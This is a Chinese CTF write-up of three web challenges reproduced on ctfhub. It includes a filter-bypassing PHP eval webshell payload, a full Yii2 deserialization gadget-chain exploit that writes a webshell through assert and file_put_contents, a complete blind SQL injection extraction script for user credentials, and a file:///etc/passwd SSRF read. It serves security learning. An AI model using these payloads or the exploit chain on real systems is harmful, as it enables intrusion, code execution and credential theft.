题目是在ctfhub上复现的
Find_it
一看应该是文件泄露了,访问了一下robots.txt发现有提示1ndexx.php
结合备份文件泄露
直接访问/.1ndexx.php.swp
得到源码(关键代码如下)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
$file=fopen("flag.php","r") or die("Unable 2 open!");
$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));
$hack=fopen("hack.php","w") or die("Unable 2 open");
$a=$_GET['code'];
if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\^|\`|flag|cat|tac|more|tail|echo|require|include|proc|open|read|shell|file|put|get|contents|dir|link|dl|var|dump/',$a)){ die("you die"); } if(strlen($a)>33){ die("nonono."); } fwrite($hack,$a); fwrite($hack,$I_know_you_wanna_but_i_will_not_give_you_hhh);
fclose($file); fclose($hack); ?>
|
代码很简单,传入code过滤了一堆东西,然后写入文件。显然是要写入木马之类的。
这里有几个绕过方法,大小写绕过,构造为
| ?code=%3C?php%20Eval($_POST["cmd"]);?%3E
|
蚁剑连接即可
另外一个思路是网上看的,用show_source() 函数对文件进行语法高亮显示。
构造payload:?code=<?php show_source(__FILE__);?>
然后访问hack.php
,但是我在ctfhub没有做成功也不知道为啥….
framework
现成的yii2的反序列化,感觉现在看这些框架不是那么陌生了。
先分析了一下网上的复现过程,一条链是从
跟进reset函数
调用了别的地方的close函数,这里的_dataReader
是可控的,想办法调用__call
函数。全局搜索一下__call,最后在\vendor\fzaninotto\faker\src\Faker\Generator.php
找到了一个合适的__call方法:
$method
即为close
,参数为空,跟进format:
看到call_user_func_array
就好办了,跟进getFormatter函数,这里$this->formatters
可控,因此getFormatter
方法的返回值也是我们可控的,因此call_user_func_array($this->getFormatter($formatter), $arguments)
;中,回调函数是我们可控的,但是$arguments
为空,所以相当于我们现在能干两件事,可以调用yii2中任意的一个无参方法,或者调用原生php的类似phpinfo()这样的无参方法,但是第二种肯定不能RCE,因此还要在yii2中已有的无参方法中进行挖掘:
最后找到的rest/CreateAction.php以及rest/IndexAction.php
都很好用。这里分析一下IndexAction.php:
主要是它的run方法:
$this->checkAccess
和$this->id
都是我们可控的,相当于直接函数名和参数都可控了,反序列化链至此结束。
题目给的这个题,反序列化入口很容易找到:
现在整个看下来,这个链还是比较好理解的。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| <?php namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct() { $this->_dataReader = new Generator; }
} } namespace Faker{ use yii\rest\IndexAction;
class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new IndexAction(),'run']; } } } namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess="phpinfo"; $this->id="1"; } } } namespace{
use yii\db\BatchQueryResult;
echo base64_encode( serialize(new BatchQueryResult())); }
|
看到了禁用函数
发现assert没有被禁用
改一下命令
| $this->checkAccess='assert'; $this->id="file_put_contents('1.php','<?php eval(\$_GET['cmd'];?>')";
|
上传蚁剑连接,插件绕过函数禁用即可。第一次没有复现成功,后来又做了一次出了。
关于yii2一些知识有一张图挺好..
WebsiteManger
进入页面F12可以看到
很明显是注入,进入image.php
可以看到图片,试了下不同的id发现好像可以盲注,又简单试了下
if(ascii(substr(database(),1,1))>1,1,0)
发现正常显示,ok直接脚本。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
| import requests
url = "http://challenge-09493052703a08b5.sandbox.ctfhub.com:10800/image.php"
def inject_database(url): name = ''
for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(substr(database(),%d,1))>%d,1,0)"%(i,mid) params = {'id':payload} r = requests.get(url,params = params) if len(r.text) > 4000: low = mid + 1 else: high = mid mid = (low + high) // 2
if mid == 32: break name = name + chr(mid) print (name)
def inject_table(url): name = ''
for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/=/**/'ctf'),%d,1))>%d,1,0)"%(i,mid) params = {'id':payload} r = requests.get(url,params = params) if len(r.text) > 4000: low = mid + 1 else: high = mid mid = (low + high) // 2
if mid == 32: break name = name + chr(mid) print (name)
def inject_column(url): name = ''
for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/=/**/'users'),%d,1))>%d,1,0)"%(i,mid) params = {'id':payload} r = requests.get(url,params = params) if len(r.text) > 4000: low = mid + 1 else: high = mid mid = (low + high) // 2
if mid == 32: break name = name + chr(mid) print (name)
def result(url): name = ''
for i in range(1,100000): low = 32 high = 128 mid = (low + high) // 2 while low < high: payload = "if(ascii(substr((select/**/group_concat(username,password)/**/from/**/ctf.users),%d,1))>%d,1,0)"%(i,mid) params = {'id':payload} r = requests.get(url,params = params) if len(r.text) > 4000: low = mid + 1 else: high = mid mid = (low + high) // 2
if mid == 32: break name = name + chr(mid) print (name)
result(url)
|
登录后是一个主机测试,试了试file:///etc/passwd
,返回了文件内容直接file:///flag
出。
这个题感觉比较基础。也没有什么过滤,payload中就过滤了空格。